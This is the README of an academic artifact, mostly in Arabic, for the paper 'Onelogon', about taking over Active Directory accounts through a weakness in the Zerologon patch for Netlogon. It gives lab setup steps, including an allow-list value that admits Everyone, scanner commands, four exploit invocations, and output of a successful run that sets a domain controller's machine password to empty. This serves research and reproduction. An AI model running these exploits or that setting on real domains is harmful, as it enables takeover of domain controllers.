
Code and data for our paper "Onelogon: Taking over Active Directory Accounts via Netlogon" (WOOT’26).
يحتوي هذا المستودع على الكود والبيانات المرافقة لورقتنا البحثية Onelogon: الاستيلاء على حسابات Active Directory عبر Netlogon (WOOT'26).
تستهدف الثغرة الموضحة في ورقتنا نقطة ضعف في التصحيح التشفيري لعام 2020 لثغرة Zerologon. الحسابات المدرجة في نهج مجموعة يهدف إلى السماح بدعم الإعدادات القديمة التي لا تدعم توقيع Netlogon وختمه تكون معرضة لهذا الهجوم. يمكن العثور على وصف تفصيلي للثغرة وسلسلة الهجوم الكاملة المتوقعة والوسائل الممكنة للتخفيف في الورقة.
@inproceedings{woot2026-onelogon,
title = {{Onelogon: Taking over Active Directory Accounts via Netlogon}},
author = {Neff, Alexander and Holl, Tobias and Borgolte, Kevin},
booktitle = {Proceedings of the 20th USENIX WOOT Conference on Offensive Technologies},
date = {2026-08},
editor = {Bianchi, Antonio and Classen, Jiska},
location = {Baltimore, MD, USA},
publisher = {USENIX Association}
}
تتكون القطعة الأثرية من مشروع Python poetry للماسح الضوئي وأدوات الاستغلال.
لتشغيل البرامج النصية المرفقة مع القطعة الأثرية، ثبّت Python (الإصدار 3.12 أو أحدث) وأيضًا poetry (التعليمات) أو uv (التعليمات). للتبسيط، ندرج الأوامر بافتراض أنك تستخدم poetry؛ وإذا اخترت استخدام uv، فما عليك سوى استبدال أي ذكر لـ poetry بـ uv.
يجب تنفيذ أي أوامر في هذا المستند من المجلد الجذري للقطعة الأثرية (حيث يوجد ملف README هذا).
إذا كنت تستخدم poetry، فشغّل poetry install لتثبيت جميع التبعيات.
لإعادة إنتاج نتائج الورقة، يمكنك إعداد وحدة تحكم بالمجال باستخدام إصدار من Windows Server تم فيه إصلاح Zerologon (لقد تحققنا من الاستغلال ضد إصدارَي 2019 و2025).
لإعداد وحدة تحكم المجال على تثبيت جديد لـ Windows Server 2025، شغّل الأوامر التالية:
# Update system and rename computer to "DC"
Install-Module -Name PSWindowsUpdate -Force
Install-WindowsUpdate -MicrosoftUpdate -AcceptAll
Rename-Computer -NewName "DC" -Restart
# Set up the domain (as "onelogon.local")
Install-WindowsFeature AD-Domain-Services -IncludeManagementTools
Install-ADDSForest -DomainName "onelogon.local"
# Disable Administrator password expiry to keep the VM usable
Set-ADUser -Identity "Administrator" -PasswordNeverExpires $true
تنطبق الثغرة على أي حساب مدرج في DACL ضمن كائن نهج المجموعة Domain Controller: Allow vulnerable Netlogon secure channel connections أو مفتاح التسجيل المقابل:
HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\VulnerableChannelAllowList
يمكنك تكوين هذه المعلمات يدويًا على وحدة تحكم المجال (تذكر تشغيل gpupdate /force إذا حدّثت إدخال GPO)، أو تشغيل الأمر التالي لإضافة جميع الحسابات إلى DACL في مفتاح التسجيل:
Set-GPRegistryValue -Name "Default Domain Controllers Policy" `
-Key "HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters" `
-ValueName "VulnerableChannelAllowList" `
-Type String `
-Value "O:BAG:BAD:(A;;RC;;;WD)" # Everyone
لتحديد الحسابات التي تُدرجها وحدة تحكم المجال في VulnerableChannelAllowList، نوفر ماسحًا ضوئيًا يحلل سجل النظام ومشاركة وحدة تخزين GPO الخاصة بوحدة تحكم المجال.
لاحظ أن الوصول إلى التسجيل لهذا المسح يتطلب صلاحيات مسؤول المجال (الاستغلال، بطبيعة الحال، لا يتطلب ذلك).
# Use the specified username and password to scan the target DC.
poetry run scan --dc-ip <IP of target DC> --username <username> --password <password>
# Specify `--help` to get additional usage instructions.
poetry run scan --help
نتيجة المسح الإيجابية (وجود حسابات قابلة للاستغلال على وحدة تحكم المجال) ستعكس واصف الأمان الذي يحتوي على الحسابات القابلة للاستغلال (بلغة Microsoft لتعريف واصف الأمان):
~$ poetry run scan --dc-ip 192.168.108.244 -u Administrator -p Xb52RLIiL5k2BhMC
[+] Found 1 matching policies in SYSVOL Share.
[+] Found vulnerable channel allow list in policy '{6AC1786C-016F-11D2-945F-00C04fB984F9}':
'O:BAG:BAD:(A;;RC;;;BA)(A;;RC;;;S-1-5-21-1725695585-1077004420-3792776154-1000)'
[+] Found VulnerableChannelAllowList registry configuration:
O:BAG:BAD:(A;;RC;;;BA)(A;;RC;;;S-1-5-21-1725695585-1077004420-3792776154-1000)
أما النتيجة السلبية (إذا كانت وحدة تحكم المجال الهدف ليست قابلة للاستغلال) فستبدو هكذا:
~$ poetry run scan --dc-ip 192.168.108.244 -u Administrator -p Xb52RLIiL5k2BhMC
[-] No matching policies found in SYSVOL Share.
[-] Error while querying registry: RRP SessionError: code: 0x2 - ERROR_FILE_NOT_FOUND
- The system cannot find the file specified.
لتشغيل استغلال إثبات المفهوم ضد وحدة تحكم مجال هدف، اختر حسابًا قابلًا للاستغلال أولًا. ستحتاج إلى عنوان IP الخاص بوحدة تحكم المجال، واسم مضيفها، واسم الحساب القابل للاستغلال.
في إعدادنا المثال، تسمى وحدة تحكم المجال القابلة للاستغلال DC.
حساب الآلة الخاص بها (DC$) مُدرج في نهج GPO، وبالتالي فهو قابل للاستغلال عبر Onelogon.
# Run the meet-in-the-middle attack (Section 4.5 of the paper)
poetry run onelogon --dc-ip <IP of target DC> --dc-name <Name of target DC> \
--username <Target account name>
# Run the 24-bit brute-force with a computer account (Section 4.4 of the paper)
poetry run onelogon --dc-ip <IP of target DC> --dc-name <Name of target DC> \
--username <Target account name> \
--comp-username <Computer account> --comp-pass <Computer account password>
# Run the (slow) 32-bit brute-force with a computer account
poetry run onelogon --naive --dc-ip <IP of target DC> --dc-name <Name of target DC> \
--username <Target account name> \
--comp-username <Computer account> --comp-pass <Computer account password>
# Run the (very slow) 32-bit brute-force without a computer account
poetry run onelogon --naive --dc-ip <IP of target DC> --dc-name <Name of target DC> \
--username <Target account name>
كتوضيح، نقدم مخرجات تشغيل ناجح لهجوم meet-in-the-middle ضد بيئة اختبار:
~$ poetry run onelogon --dc-ip 192.168.108.244 --dc-name DC --username 'DC$'
[+] Namespace(dc_name='DC', dc_ip='192.168.108.244', username='DC$', comp_username=None,
comp_password=None, comp_hash=None, workers=100)
[+] Successfully bound to Netlogon RPC on DC (192.168.108.244)
[+] Successfully bound to Netlogon RPC on DC (192.168.108.244)
[+] Using flags: (0b100001000111111111111111111111)
1: A IGNORED (Account lockout)
1: B NT3.5 BDC continuous update
1: C RC4 support
1: D IGNORED (Promotion count(deprecated))
1: E Supports BDC handling Changelogs
1: F Supports Restarting full DC sync
1: G Does not require ValidationLevel 2 for nongeneric passthrough
1: H Supports DatabaseRedo
1: I Supports refusal of password changes
1: J Supports NetrLogonSendToSam
1: K Supports generic pass-through
1: L Supports concurrent RPC calls
1: M Supports avoid of user account database replication
1: N Supports avoid of Security Authority database replication
1: O Supports Strong keys
1: P Supports transitive trusts
1: Q IGNORED (Supports DNS trusts)
1: R Supports NetrServerPasswordSet2
1: S Supports NetrLogonGetDomainInfo
1: T Supports cross-forest trusts
1: U No NT4 Emulation
0: V Supports RODC pass-through
0: 0
0: 0
1: W Supports AES 128-bit CFB and SHA2
0: 0
0: 0
0: 0
0: 0
1: X IGNORED (Authenticated RPC via lsass supported)
0: Y Supports secure RPC authentication
0: Z Supports Kerberos for secure channel setup
[*] Estimated total tries without flushing: 2^16 / 2
[+] Starting the brute force attack...
[*] ROUND STATS:
[*] REQ: Took 5.0858272750047036 seconds,
average time per attempt: 0.00286042028965393909 seconds
[*] TRY: Took 120.00023781700293 seconds
[*] CLEANUP: Took 5.999754648655653e-08 seconds
[*] ALL: Took 125.08606619200145 seconds,
average time per attempt: 0.07035211821822354161 seconds
[*]
[*] TOTAL STATS:
[*] TOTAL: 0.10 hours passed, average time per attempt: 0.06760343967316766178 seconds
[*] TRIES: 5538, average tries per cycle: 1846
[*] Estimated progress: 16.90%, estimated time remaining: 0.51 hours
[+] !!!Successfully authenticated DC$ on DC with b'\x00\x00\x00\x00\x11\x11\x04x'!!!
[+] Password set successfully to empty string!
[+] Successfully set the password of DC$ to an empty string!
[+] All tasks have been processed, stopping workers.
[+] All workers have been stopped.
لإعادة إنتاج القياسات في الجدول 1 من الورقة، نفّذ جميع أدوات الاستغلال الأربع الموصوفة في القسم السابق.
يمكنك الحصول على زمن الهجوم المتوقع دون إكمال الهجوم الكامل، والذي سيكون مكلفًا للغاية بالنسبة للنهج الساذجة.
سرعة هجوم القوة العمياء 32-بت الذي ينتظر انتهاء المهلة محدودة بفترة صلاحية تحديات العميل. الدورة الكاملة (التي يمكن فيها معالجة 100 ألف تحدي) تستغرق بعد ذلك 120 ثانية (مهلة مسح قائمة التحديات). لذلك، يكون زمن الهجوم المتوقع دائمًا $\frac{2^{31}}{100000}\cdot 120\mathrm{s} \approx 29.83\mathrm{d}$.
بالنسبة للهجمات التي تستخدم حساب كمبيوتر (سواء هجوم 32-بت أو 24-بت)، خذ متوسط الوقت لكل محاولة $t$ من قسم TOTAL STATS في المخرجات. يحتاج هجوم 32-بت في المتوسط إلى $2^{31}$ محاولة (بزمن إجمالي متوقع قدره $2^{31}t$). وبالمثل، فإن المدة المتوقعة لهجوم 24-بت هي $2^{23}t$.
بالنسبة لنهج meet-in-the-middle، لا يمكننا محاولة جميع بيانات اعتماد العميل الممكنة خلال مهلة انتهاء التحدي البالغة 120 ثانية.
وبدلاً من ذلك، يُحدد الزمن المتوقع للهجوم من خلال عدد محاولات المصادقة التي يمكننا تنفيذها خلال هذا الإطار الزمني.
للحصول على هذا الرقم، خذ متوسط عدد المحاولات لكل دورة $a$ من قسم TOTAL STATS في المخرجات.
ونظرًا لأننا نحتاج في المتوسط إلى $2^{15}$ محاولة مصادقة لتحقيق معدل نجاح 50%، فإن زمن الهجوم المتوقع هو ببساطة $2^{15} \cdot a^{-1} \cdot 120\mathrm{s}$
ستعتمد الأوقات الدقيقة التي يتم الحصول عليها على إعدادات العتاد والبرمجيات المحددة.